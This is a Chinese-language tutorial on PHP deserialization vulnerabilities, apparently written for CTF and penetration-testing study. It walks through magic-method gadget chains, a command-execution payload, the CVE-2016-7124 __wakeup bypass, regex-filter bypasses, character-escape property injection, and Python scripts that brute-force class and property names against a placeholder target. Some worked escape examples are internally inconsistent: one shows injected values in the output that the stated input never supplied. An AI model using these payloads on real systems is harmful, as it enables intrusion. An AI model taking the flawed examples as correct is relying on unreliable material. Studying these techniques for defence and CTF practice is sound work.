PHP反序列化漏洞:从原理到实战

一、序列化与反序列化基础

1.1 什么是序列化与反序列化

在深入探讨PHP反序列化漏洞之前,我们首先需要理解序列化与反序列化的基本概念。从本质上来说,序列化(Serialization) 就是将数据转化成一种可逆的数据结构的过程,而反序列化(Deserialization) 则是将这种已转换的数据结构重新还原为原始数据对象的过程。这两个过程就像生活中的打包和拆包一样普通而重要。

为了帮助读者更直观地理解这个概念,我们可以借用一个日常生活中常见的例子——网购家具的运输过程。当我们在淘宝上购买一张桌子时,由于桌子这种不规则的大件物品很难直接从一座城市运输到另一座城市,商家通常会将其拆解成一块块木板,然后装入箱子中进行快递运输。这个”拆解并打包”的过程就类似于序列化——我们将复杂的数据结构转换成可以方便存储和传输的形式。当买家收到货物后,需要将这些木板重新组装成桌子的样子,这个”拆包并组装”的过程就对应着反序列化——我们将序列化后的数据重新还原成原始的数据对象。

在PHP语言中,序列化和反序列化的操作主要通过两个核心函数来完成。serialize()函数负责将对象或数组等复杂数据类型格式化成有序的字符串,而unserialize()函数则负责将这些字符串还原成原来的对象或数组。这两个函数的存在使得PHP程序能够在不同的请求之间保存和传递复杂的数据结构,大大增强了PHP的灵活性和实用性。

序列化的主要应用场景包括以下几个方面:

数据持久化存储:当需要将对象数据保存到文件或数据库中时,直接保存对象结构是不现实的。通过序列化,可以将对象转换为一个可以永久存储的字符串格式,下次使用时再反序列化还原。

跨脚本数据传递:在不同的PHP脚本之间传递复杂数据时,直接传递对象是不可能的。序列化后的字符串可以通过GET/POST参数、Cookie、Session等方式方便地传递。

缓存机制:在PHP应用中,序列化的数据经常被用作缓存。开发者可以将复杂计算的结果序列化后存储到Redis、Memcached等缓存系统中,下次需要时直接反序列化获取,大幅提升系统性能。

Session会话存储:PHP的Session机制底层就是依赖序列化实现的。用户会话数据被序列化后存储在服务器端,浏览器通过Session ID来识别和检索对应的会话数据。

1.2 PHP序列化格式详解

理解PHP的序列化格式是掌握反序列化漏洞的前提。PHP的序列化格式是一种简洁而紧凑的数据表示方式,每种数据类型都有其独特的表示方法。让我通过详细的表格和示例来逐一讲解各种数据类型的序列化表示:

基础数据类型序列化格式:

数据类型格式示例说明
整型(Integer)i:数值;i:42;表示整数值
浮点型(Double)d:数值;d:3.14;表示浮点数值
字符串(String)s:长度:”值”;s:5:”hello”;s后面是字符串长度,然后是实际值
布尔型(Boolean)b:0或1;b:1;1表示true,0表示false
NULLN;N;表示空值

复合数据类型序列化格式:

数组的序列化格式为a:数量:{键值对}。以一个包含三个元素的数组为例:

1
2
3
4
5
<?php
$user = array('xiao', 'shi', 'zi');
$user = serialize($user);
echo $user;
?>

输出结果为:a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}

逐项解析这个输出:a:3表示这是一个数组,包含3个元素。{i:0;s:4:"xiao";}中,i:0表示数组下标0,s:4:"xiao"表示该位置存储的是一个长度为4的字符串”xiao”。以此类推,下标1和下标2的元素也是类似的表示方法。

对象的序列化格式为O:类名长度:"类名":属性数量:{属性列表}。来看一个对象的序列化例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class test{
public $a;
public $b;
function __construct(){
$this->a = "xiaoshizi";
$this->b = "laoshizi";
}
function happy(){
return $this->a;
}
}
$a = new test();
echo serialize($a);
?>

输出结果为:O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}

这里需要特别注意几个要点:首先,序列化后的内容只包含成员变量,不包含成员函数。这是因为函数是类的行为定义,存储在代码中,而不是对象的实例数据中。序列化只能保存对象在特定时刻的状态数据,所以只会保存$a$b这两个公有属性,而happy()函数不会被包含在序列化字符串中。其次,O表示Object(对象),4表示类名”test”的长度,2表示该对象有2个属性。

访问修饰符对序列化的影响:

PHP中的属性可以有三个访问修饰符:public(公有)、protected(受保护)和private(私有)。不同的访问修饰符在序列化时会产生不同的格式:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class test{
protected $a; //受保护属性
private $b; //私有属性
function __construct(){
$this->a = "xiaoshizi";
$this->b = "laoshizi";
}
}
$a = new test();
echo serialize($a);
?>

如果直接在浏览器中查看输出,会发现一些不可见字符消失了,结果可能显示为:

1
O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}

这是因为protected属性在序列化时会在变量名前加上\x00*\x00(三个字节,其中\x00是ASCII码为0的不可见字符),而private属性会加上\x00类名\x00(类名前后各有一个\x00)。这些\x00字符在浏览器输出或直接打印时会被隐藏或显示为乱码。

为了正确处理这些不可见字符,通常需要使用以下方法:

  1. URL编码:使用urlencode()rawurlencode()函数对序列化结果进行编码,这样可以完整保留所有特殊字符。

  2. Base64编码:使用base64_encode()函数编码,虽然会增大数据量,但兼容性更好。

  3. 十六进制表示:在某些情况下,可以手动将\x00表示为\00%00等形式。

1.3 反序列化的过程与风险

当我们调用unserialize()函数时,PHP会经历一个复杂而精密的处理过程。简单来说,这个过程包括以下几个步骤:

第一步:字符串解析。PHP引擎首先会解析序列化字符串的格式,验证其是否符合PHP的序列化语法规范。如果格式不正确,PHP会抛出类似unserialize(): Error at offset...的错误。

第二步:类型识别。PHP识别出序列化字符串表示的数据类型(整型、字符串、数组、对象等)。

第三步:对象实例化。如果是对象类型,PHP会根据类名查找并加载对应的类定义。如果类不存在且没有启用允许任意类自动加载的选项,反序列化会失败。

第四步:属性填充。PHP会为对象实例填充序列化字符串中指定的属性值。

第五步:魔术方法触发。根据反序列化的上下文和环境,可能触发各种魔术方法,如__wakeup()__destruct()等。

第六步:返回结果。反序列化完成,返回原始的数据对象或值。

为什么反序列化会产生安全漏洞?

反序列化漏洞产生的根本原因在于:反序列化后的对象可以是任意的,攻击者可以控制对象的属性值,从而影响程序的执行流程。当程序中存在某些”危险”的代码路径时,攻击者精心构造的序列化字符串可以触发这些代码路径,造成信息泄露、文件操作甚至远程代码执行等严重后果。

具体来说,漏洞产生的两个必要条件是:

条件一:unserialize()的参数可控。这意味着攻击者能够通过某种方式向unserialize()函数传入自己构造的序列化字符串。这个参数可能来自GET/POST请求参数、Cookie、Session、数据库、文件等任何用户可控的输入源。

条件二:代码中存在可以利用的” gadget”。Gadget是指代码中存在的、可以被串联起来形成攻击链的代码片段。典型的gadget包括:

  • 魔术方法中存在危险操作,如eval($this->code)system($this->cmd)include($this->file)
  • 类的普通方法中存在危险操作,且该方法可以被某种方式调用
  • 存在文件操作函数、命令执行函数等危险函数的调用

举一个简单的对象注入漏洞示例:

1
2
3
4
5
6
7
8
9
10
<?php
class A{
var $test = "y4mao";
function __destruct(){
echo $this->test;
}
}
$a = 'O:1:"A":1:{s:4:"test";s:5:"maomi";}';
unserialize($a);
?>

在这个例子中,虽然类A$test属性默认值是"y4mao",但通过反序列化注入,我们成功将$test的值覆盖为"maomi"。当脚本运行结束或对象被销毁时,__destruct()方法会被自动调用,输出我们注入的值。虽然这个例子只是简单地覆盖了一个输出字符串,但在更复杂的场景中,攻击者可以通过精心构造的属性值触发更危险的代码执行路径。

二、魔术方法:反序列化的触发引擎

2.1 PHP魔术方法全览

在PHP中,魔术方法(Magic Methods)是一类具有特殊功能的特殊方法,它们以双下划线(__)开头,在特定的时机自动被PHP引擎调用。这些魔术方法是理解反序列化漏洞的关键,因为反序列化漏洞的利用很大程度上依赖于找到合适的魔术方法来作为”入口点”或”跳板”,串联起整个攻击链。

PHP中的主要魔术方法及其触发时机如下表所示:

魔术方法触发时机参数说明典型用途
__construct()对象创建时初始化操作
__destruct()对象销毁时清理、资源释放
__call()调用不存在的方法时$name方法名, $arguments参数方法拦截、动态代理
__callStatic()静态调用不存在的方法时$name方法名, $arguments参数静态方法拦截
__get()读取不存在或不可访问的属性时$name属性名属性访问拦截
__set()写入不存在或不可访问的属性时$name属性名, $value属性值属性写入拦截
__isset()对不可访问属性使用isset()或empty()时$name属性名属性状态检查拦截
__unset()对不可访问属性使用unset()时$name属性名属性删除拦截
__toString()对象被当作字符串使用时字符串转换
__invoke()对象被当作函数调用时传入的参数函数式调用
__sleep()serialize()执行前指定要序列化的属性
__wakeup()unserialize()执行前反序列化后初始化

2.2 反序列化中的关键魔术方法详解

在反序列化攻击中,某些魔术方法因为其自动触发的特性而显得尤为重要。让我详细解析这些关键魔术方法的原理和利用方式:

__destruct():对象销毁的自动回调

__destruct()方法在对象被销毁时自动调用。对象的销毁可能发生在以下几种情况:

  1. 脚本执行完毕,所有对象被销毁
  2. 对象的所有引用被删除(如unset($obj)
  3. 对象被显式赋值覆盖(如$obj = new A(); $obj = null;
  4. 数组元素被删除

这是反序列化攻击中最常见的入口点之一,因为只要我们构造的反序列化对象存在,当脚本结束时就会触发__destruct(),从而执行其中的代码。

一个典型的利用场景是:

1
2
3
4
5
6
7
8
9
<?php
class Evil {
public $cmd;
function __destruct(){
system($this->cmd);
}
}
unserialize($_GET['payload']);
?>

只要我们构造O:4:"Evil":1:{s:3:"cmd";s:2:"id";}并传入,就能在服务器上执行id命令。

__wakeup():反序列化的自动回调

__wakeup()方法在调用unserialize()时自动执行,通常用于进行一些初始化或反序列化后的清理工作。这个魔术方法虽然常见,但有时候也会成为漏洞的阻碍——例如有些代码会在__wakeup()中清除我们想要利用的属性值。

不过,__wakeup()也有其利用价值,因为它本身就是一个反序列化入口,可以在这里执行任意代码。

__toString():字符串转换的陷阱

当对象被当作字符串使用时,会自动触发__toString()方法。对象被当作字符串使用的场景包括:

  1. 使用echoprint输出对象
  2. 对象与字符串进行拼接操作
  3. 对象作为字符串函数的参数
  4. 对象在字符串格式化中使用(如sprintf("%s", $obj)
  5. 对象与字符串进行比较

一个利用__toString()的场景示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class FileReader {
public $filename;
function __toString(){
return file_get_contents($this->filename);
}
}

class Template {
public $content;
function __destruct(){
// 这里会触发 __toString()
echo $this->content;
}
}

如果我们能让$this->content成为一个FileReader对象,当__destruct()中的echo语句执行时,就会触发FileReader__toString()方法,从而读取任意文件。

__call()__callStatic():方法调用的兜底

当在对象上下文(非静态方法)或静态上下文中调用一个不存在的方法时,会分别触发__call()__callStatic()方法。这两个魔术方法可以让我们拦截所有对未定义方法的调用,是构造POP链的重要中间环节。

1
2
3
4
5
6
7
8
<?php
class DynamicProxy {
public $callback;
function __call($method, $args){
// 调用存储的回调函数
return call_user_func_array($this->callback, $args);
}
}

如果我们能控制$this->callback,就能调用任意函数。结合一些危险函数如system()exec()等,就可能实现命令执行。

__get()__set():属性访问的拦截

当尝试读取一个不存在或不可访问的属性时,会触发__get()方法;当尝试写入一个不存在或不可访问的属性时,会触发__set()方法。这两个魔术方法可以用于实现动态属性、惰性加载等设计模式,但也可能成为漏洞的入口。

一个典型的利用场景是链式属性访问:

1
2
3
4
5
6
7
8
9
<?php
class Test{
public $p;
function __get($key){
// 返回一个可调用的函数/对象
$function = $this->p;
return $function();
}
}

在这里,如果我们能控制$this->p为一个包含危险函数的对象,就可以触发一连串的调用。

__invoke():对象函数化

当尝试将对象当作函数调用时,会触发__invoke()方法。这个魔术方法为对象提供了一种”可调用对象”的能力,在某些设计模式中很有用。

结合__get()__invoke(),我们可以看到一个典型的POP链模式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Modifier {
protected $var;
function __invoke(){
include($this->var); // 文件包含
}
}

class Test {
public $p;
function __get($key){
$function = $this->p;
return $function(); // 触发 __invoke()
}
}

2.3 魔术方法调用链示例

让我们通过一个完整的例子来理解如何将多个魔术方法串联起来,形成从反序列化到任意文件读取的调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

class Modifier {
protected $var;
public function append($value){
include($value); // 目标:文件包含
}
public function __invoke(){
$this->append($this->var);
}
}

class Show {
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source; // 触发 __get('source')
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test {
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function(); // 触发 __invoke()
}
}
?>

调用链分析:

  1. 入口点unserialize()触发Show类的__wakeup()(虽然这里被preg_match阻止了,但我们可以绕过)

  2. 第一跳Show对象的__destruct()或字符串操作触发__toString()

  3. 第二跳__toString()中访问$this->str->source,由于$this->str是一个Test对象,而sourceTest的不可访问属性,触发Test::__get('source')

  4. 第三跳__get()方法中$function = $this->p; return $function();$p当作函数调用,触发Modifier::__invoke()

  5. 终点__invoke()方法调用append($this->var),而append()方法中存在include($value),实现了任意文件包含

整个调用链可以简单地表示为:

1
__wakeup/__destruct → __toString → __get → __invoke → append(include)

三、反序列化绕过技巧

3.1 PHP 7.1+类属性不敏感

在PHP 7.1版本之前,序列化字符串中的属性名必须严格按照访问修饰符的要求来编写。protected属性必须包含\x00*\x00前缀,private属性必须包含\x00类名\x00前缀。如果这些前缀缺失或错误,属性值将无法正确匹配到对应的类属性。

然而,从PHP 7.1开始,PHP对类属性的访问控制变得不那么严格了。即使在序列化字符串中省略了protected属性的\x00*\x00前缀,或者private属性的\x00类名\x00前缀,PHP也能正确地将属性值匹配到对应的类属性上。

这个特性在漏洞利用中非常有用。例如,假设我们有如下代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

在PHP 7.1+环境中,这段代码会正常输出abc,尽管序列化字符串中属性名a没有包含\x00*\x00前缀。这是因为PHP引擎会自动尝试匹配,去掉前缀后如果属性名匹配成功,就会使用该值。

利用场景

这个特性可以用于绕过某些过滤逻辑。例如,如果代码对序列化字符串进行了某种过滤或修改,但过滤逻辑没有正确处理\x00字符,我们就可以利用PHP 7.1+的属性不敏感性来绕过。

注意事项

  1. 这个特性只对PHP 7.1及更高版本有效
  2. 不同的PHP版本在属性匹配的具体行为上可能略有差异
  3. 在实际渗透测试中,需要先确认目标服务器的PHP版本

3.2 绕过__wakeup(CVE-2016-7124)

__wakeup()方法是反序列化攻击中的一个常见障碍。很多开发者会在__wakeup()方法中添加一些安全检查或初始化操作,这些操作可能会干扰我们的攻击。例如,__wakeup()可能会重置某些我们想要利用的属性值,或者对用户输入进行过滤。

CVE-2016-7124是一个影响PHP 5.6.25之前版本和PHP 7.0.10之前版本的反序列化漏洞。这个漏洞的核心原理是:当序列化字符串中表示对象属性个数的值大于真实的属性个数时,__wakeup()方法不会被执行

漏洞原理深入分析

在正常的反序列化过程中,PHP会:

  1. 读取序列化字符串中的类名
  2. 读取序列化字符串中的属性个数
  3. 根据属性个数读取对应的属性名和属性值
  4. 调用__wakeup()方法

而在存在漏洞的PHP版本中,如果我们故意将属性个数设置为一个大于实际属性数量的值,PHP会:

  1. 读取序列化字符串中的类名
  2. 读取序列化字符串中的属性个数(但这个值被篡改过)
  3. 跳过属性读取(因为属性个数不匹配)
  4. 跳过__wakeup()的调用

受影响的PHP版本

  • PHP 5.6.25 之前的所有 5.6.x 版本
  • PHP 7.0.10 之前的所有 7.0.x 版本

利用方式示例

考虑以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
// 安全检查:重置 $a 的值
$this->a='666';
}
public function __destruct(){
echo $this->a;
}
}

如果正常反序列化O:4:"test":1:{s:1:"a";s:3:"abc";},输出会是666,因为__wakeup()会重置$a的值。

但如果我们修改属性个数为2(实际属性只有1个),得到O:4:"test":2:{s:1:"a";s:3:"abc";},则__wakeup()不会被调用,输出会是abc

修复方式

升级PHP到5.6.25+或7.0.10+版本,或者在__wakeup()方法中添加属性数量的验证逻辑:

1
2
3
4
5
6
7
public function __wakeup(){
// 验证属性数量
if($this->some_property === null){
throw new Exception("Invalid object state");
}
$this->a='666';
}

3.3 绕过正则检测

在某些CTF题目或实际应用中,开发者可能会使用正则表达式来过滤或检测反序列化字符串,试图阻止反序列化攻击。常见的正则过滤包括:

  • 匹配序列化字符串是否以O:开头(表示对象)
  • 检测序列化字符串中是否包含敏感关键词
  • 匹配对象属性数量的格式

然而,这些正则过滤往往存在各种绕过方式,下面我们来逐一分析:

绕过preg_match(‘/^O:\d+/‘)检测

这种正则检测试图通过检查序列化字符串是否以O:加数字开头来识别对象。如果我们不传一个直接的对象字符串,而是将对象作为数组的元素传入,就可以绕过这个检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}

function match($data){
if (preg_match('/^O:\\d+/',$data)){
die('you lose!');
}else{
return $data;
}
}

// 方法1:使用数组包裹
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

// 方法2:使用加号绕过(在URL中需要编码为%2B)
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));

加号绕过的原理

正则表达式/^O:\d+/只会匹配O:数字的格式,而不会匹配O:+数字的格式(因为+不在\d字符类中)。但PHP的unserialize()函数能够正确解析O:+4(忽略+符号),将其识别为O:4

使用数组包裹的原理

当序列化一个数组时,结果字符串以a:开头(而不是O:),所以不会触发以O:开头的正则检测。在数组内部的元素才是我们要注入的对象,但serialize()函数会将整个数组一起序列化,所以内层的对象会以O:开头存储。

绕过字符串过滤

如果代码检测序列化字符串中是否包含某个关键词(如username),我们可以使用字符串的十六进制表示来绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class test{
public $username;
public function __construct(){
$this->username = 'admin';
}
public function __destruct(){
echo 666;
}
}

function check($data){
if(stristr($data, 'username') !== false){
echo("你绕不过!!".PHP_EOL);
}else{
return $data;
}
}

// 原始payload
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a); // 检测到 "username",被拦截

// 绕过payload:使用 \75 来表示字符 'u'
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a); // 没有检测到 "username",绕过
unserialize($a);

十六进制绕过的原理

在PHP的序列化格式中,属性名部分使用大写S(而不是小写s)时,表示使用十六进制转义来表示字符串。具体格式为S:长度:"\XX字符串";,其中\XX是字符的十六进制ASCII码。例如,\75是字符u的十六进制表示(ASCII码75=117=’u’)。

这样,虽然属性名实际上仍然是username,但在正则检测的字符串匹配阶段,它以\75sername的形式存在,所以不会被检测到。

3.4 PHP反序列化字符逃逸

字符逃逸是反序列化漏洞中的一种高级利用技巧。它利用了字符串解析的特性,通过精心构造序列化字符串,使得反序列化引擎在解析时”吃”掉或”吐出”某些字符,从而改变序列化字符串的结构,实现属性注入或逃逸。

核心原理

PHP的反序列化引擎在解析序列化字符串时,会严格遵循既定的语法规则。当它遇到一个字符串的长度声明(如s:5:"hello")时,它会严格按照声明的长度(5)来读取后续的字符内容。如果实际内容与长度不符,反序列化就会失败。

字符逃逸利用的就是这个特性。我们通过某种”过滤”操作(如str_replace())来改变序列化字符串的长度,使得字符串的边界发生偏移,从而将后面的内容”吞掉”或”吐出”。

情况一:过滤后字符变多

某些过滤器会将特定的字符替换为多个字符,例如将单个x替换为xx。这种替换会导致序列化字符串的长度增加,打破原有的字符串边界。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function change($str){
return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name, $age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";
?>

正常情况下,传入name=mao,序列化结果是:

1
a:2:{i:0;s:4:"mao";i:1;s:7:"I am 11";}

现在,如果我们传入name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}(20个x加上我们想要注入的内容),过滤后会发生什么?

1
a:2:{i:0;s:60:"maoxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}";i:1;s:7:"I am 11";}

20个x变成了40个x(字符数翻倍),原来用于闭合name字符串的"被”吞掉”了,后续的";i:1;s:6:"woaini";}变成了字符串内容的一部分。而最后剩余的}闭合了数组,后面的";i:1;s:7:"I am 11";}就成了”多余”的内容被忽略。

最终结果:数组的第二个元素(age)被成功覆盖为woaini

情况二:过滤后字符变少

与上面相反,某些过滤器会将多个字符替换为更少的字符,例如将xx替换为x。这种替换会导致序列化字符串的长度减少,可能”吃掉”后面的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function change($str){
return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];
?>

假设我们传入name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx(40个x)和age=11

原始序列化结果:

1
a:2:{s:4:"name";s:40:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:3:"age";s:2:"11";}

过滤后(每两个x变成一个x,40个x变成20个x,减少了20个字符):

1
a:2:{s:4:"name";s:20:"xxxxxxxxxxxxxxxxxxxx";s:3:"age";s:2:"11";s:3:"age";s:6:"woaini";}

由于name字段声明的长度是40,但过滤后只写了20个字符,后续的";s:3:"age";s:2:"11";s:3:"age";s:6:"woaini";}被”吃掉”了一部分,解析出了两个age属性,第二个覆盖了第一个,最终age的值变成了woaini

逃逸的通用思路总结

  1. 分析过滤规则:找出代码中对序列化字符串进行了什么过滤操作(变多还是变少)
  2. 计算偏移量:确定需要填充多少”填充字符”来创造空间
  3. 构造注入内容:将想要注入的属性或对象写入逃逸后的位置
  4. 闭合语法:确保最终的反序列化字符串语法正确

四、类名与属性爆破

4.1 为什么需要爆破类名

在前面的章节中,我们假设了攻击者已经知道了目标代码中的类名。但在实际的渗透测试或CTF竞赛中,开发者通常不会公开源码,攻击者需要”黑盒”测试来发现漏洞。

在这种情况下,如果我们发现目标代码存在类似这样的漏洞点:

1
2
3
4
<?php
$p = $_GET['p'];
unserialize($p);
?>

我们面临的最大问题是:不知道类名是什么,无法构造有效的反序列化payload

这就是为什么需要进行类名爆破的原因。类名爆破是一种在无法获取源码的情况下,通过构造各种可能的类名并观察服务器响应差异来识别服务器端存在哪些类的方法。

4.2 类名爆破方法

核心思路

当我们向服务器发送一个反序列化请求时,PHP引擎会尝试解析序列化字符串并实例化对应的类。如果类存在,PHP会创建对象实例并执行后续操作;如果类不存在,PHP会抛出错误。

这两种情况的错误信息通常会有明显的差异,我们可以利用这个差异来识别类名。

具体操作

传输一个基本的对象序列化字符串:

1
O:<类名长度>:"<类名>":0:{}
  • 如果类名正确:服务器可能会报其他类型的错误(如属性不存在),或者成功触发魔术方法
  • 如果类名错误:PHP通常会抛出类似unserialize(): Error at offset...的错误,因为找不到指定的类

手动爆破示范

假设我们猜测类名可能是Admin,那么构造payload:

1
O:5:"Admin":0:{}

访问URL:

1
http://target.com/vuln.php?p=O:5:"Admin":0:{}

观察服务器返回:

  • 如果返回unserialize(): Error at offset 10...之类的错误 → 说明类不存在
  • 如果返回其他类型的错误,如Undefined property: Admin::$xxx或没有任何错误 → 说明类名可能正确

常用爆破字典

在实际攻击中,我们可以使用以下常见类名进行爆破:

类名说明
Admin/admin管理员类
User/user用户类
Login/login登录类
Manager/manager管理类
Member/member成员类
Guest/guest访客类
Test/test测试类
Config/config配置类
Database/db数据库类
Wllm/wllmCTF题目中的自定义类名
Evil/evilCTF题目中的邪恶类名
Flag/flagFlag相关类

实战建议

  1. 优先级策略:先尝试常见类名(Admin/User/Login),再尝试小写版本(PHP文件名通常小写)
  2. 信息收集:根据URL、提示词、页面字眼来推测(如有/admin.php可能存在Admin类)
  3. 源码片段分析:如果有源码片段(如报错信息、变量名),根据命名习惯推测类名
  4. 组合爆破:将常见前缀和后缀组合,如AdminControllerUserModel

自动化爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = "http://target.com/vuln.php"
# 常用类名列表
class_list = [
"Admin", "admin", "User", "user", "Login", "login",
"Manager", "manager", "Member", "member", "Guest", "guest",
"Test", "test", "Config", "config", "Database", "db",
"Wllm", "wllm", "Evil", "evil", "Flag", "flag"
]

for classname in class_list:
payload = f'O:{len(classname)}:"{classname}":0:{{}}'
try:
r = requests.get(url, params={"p": payload}, timeout=5)
response = r.text
# 如果没有出现 "offset" 报错,说明类可能存在
if "offset" not in response:
print(f"[*] Possible class found: {classname}")
print(f" Response snippet: {response[:200]}")
except requests.exceptions.RequestException as e:
print(f"[!] Error testing {classname}: {e}")

4.3 属性名爆破方法

找到了类名只是第一步。很多情况下,仅知道类名还不够,因为漏洞的触发往往依赖于特定属性的赋值。例如,__destruct()方法可能会访问$this->cmd来执行命令,如果我们的payload中没有设置这个属性,就无法利用漏洞。

核心原理

当我们构造一个反序列化对象时,如果设置的属性名在类中不存在,PHP会如何处理呢?

答案是:PHP会为对象动态创建这个属性。但如果在魔术方法中访问了一个不存在的属性,并且该类没有定义__get()方法,PHP会报一个Undefined property错误。

利用方式

  1. 方法一:猜测属性名,构造payload,看是否报Undefined property错误

    • 如果报错中显示了属性名,说明我们猜错了,需要换一个
    • 如果不报Undefined property,说明可能猜对了
  2. 方法二:如果报错信息被屏蔽,我们可以尝试不同的属性组合,看最终的效果(如是否有文件包含、命令执行等)

手动爆破示范

假设已经爆破出类名是Admin,现在要爆破属性名。构造payload:

1
O:5:"Admin":1:{s:5:"admin";s:5:"admin";}

解释:

  • O:5:"Admin":类名是Admin,长度5
  • 1:对象有1个属性
  • {s:5:"admin";s:5:"admin";}:属性名是”admin”,值是”admin”

发送请求后观察:

  • 如果返回Undefined property: Admin::$admin→ 属性不存在,换一个
  • 如果没有这个错误→ 可能属性名猜对了

常用属性名字典

属性名说明
admin管理员
user用户
passwd/password密码
username用户名
cmd/command命令
file文件路径
flagFlag变量
id用户ID
role角色
auth权限
session会话
token令牌
data数据
code代码
url链接

自动化爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import urllib.parse

url = "http://target.com/vuln.php"
classname = "Admin"

# 常见属性名列表
prop_list = [
"admin", "user", "passwd", "password", "username",
"cmd", "command", "file", "flag", "id", "role",
"auth", "session", "token", "data", "code", "url"
]

for prop in prop_list:
# 构造属性名和属性值
payload = f'O:{len(classname)}:"{classname}":1:{{s:{len(prop)}:"{prop}";s:5:"test";}}'
encoded_payload = urllib.parse.quote(payload)

try:
r = requests.get(url, params={"p": encoded_payload}, timeout=5)
response = r.text

# 如果没有 "Undefined property" 报错,说明可能猜对了
if "Undefined property" not in response:
print(f"[*] Possible property found: {prop}")
print(f" Payload: {payload}")
except requests.exceptions.RequestException as e:
print(f"[!] Error testing {prop}: {e}")

组合爆破策略

在更复杂的情况下,可以同时爆破类名和属性名的组合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import urllib.parse
from itertools import product

url = "http://target.com/vuln.php"

class_list = ["Admin", "User", "Login", "Wllm"]
prop_list = ["admin", "user", "passwd", "password", "cmd", "file", "flag"]

# 生成所有组合
for classname, propname in product(class_list, prop_list):
payload = f'O:{len(classname)}:"{classname}":1:{{s:{len(propname)}:"{propname}";s:5:"test";}}'
encoded_payload = urllib.parse.quote(payload)

try:
r = requests.get(url, params={"p": encoded_payload}, timeout=5)
response = r.text

# 简单的启发式判断
if "offset" not in response and "Undefined" not in response:
print(f"[*] Found: class={classname}, prop={propname}")
except:
continue

4.4 爆破的局限性与对策

类名和属性名爆破虽然是一种有效的技术,但也存在一些局限性:

局限性一:错误信息被屏蔽

很多生产环境的代码会禁用错误显示,或者使用自定义错误处理器捕获所有错误。在这种情况下,我们无法从响应中获取有用的错误信息来区分类名是否正确。

对策

  1. 尝试触发不同的响应行为(如不同的页面内容、HTTP状态码)
  2. 使用时间延迟来判断(如不存在的类可能会更快报错)
  3. 利用SQL注入、XSS等其他漏洞来间接验证

局限性二:自定义错误处理器的影响

有些代码会设置自定义的错误处理器(如set_error_handler()),这可能改变错误信息的格式或完全隐藏错误。

对策

  1. 尝试使用@符号抑制错误(但这通常只对PHP原生错误有效)
  2. 分析代码逻辑,尝试触发其他可观察到的副作用

局限性三:需要大量请求

如果目标类名和属性名比较复杂或冷门,可能需要发送大量请求才能找到正确的组合。

对策

  1. 先进行信息收集,尽可能缩小猜测范围
  2. 使用社工技巧,如根据目标网站的业务特点、命名习惯来猜测
  3. 使用更智能的字典,如基于常见编程命名规范的字典

五、POP链构造

5.1 POP链概念

在前面几章中,我们讨论的攻击场景主要是利用魔术方法中的直接漏洞。这种攻击方式简单直接,但如果目标代码的关键漏洞代码不在魔术方法中,而是在类的普通方法里,我们应该如何利用呢?

这就是POP链(Property-Oriented Programming,面向属性的编程)登场的时候了。

什么是POP链?

POP链是一种高级的反序列化攻击技术。与传统的反序列化攻击主要依赖魔术方法中的直接漏洞不同,POP链的核心思想是:通过控制对象的属性值,将不同类的属性和方法串联起来,形成一条从入口点到危险操作的调用链

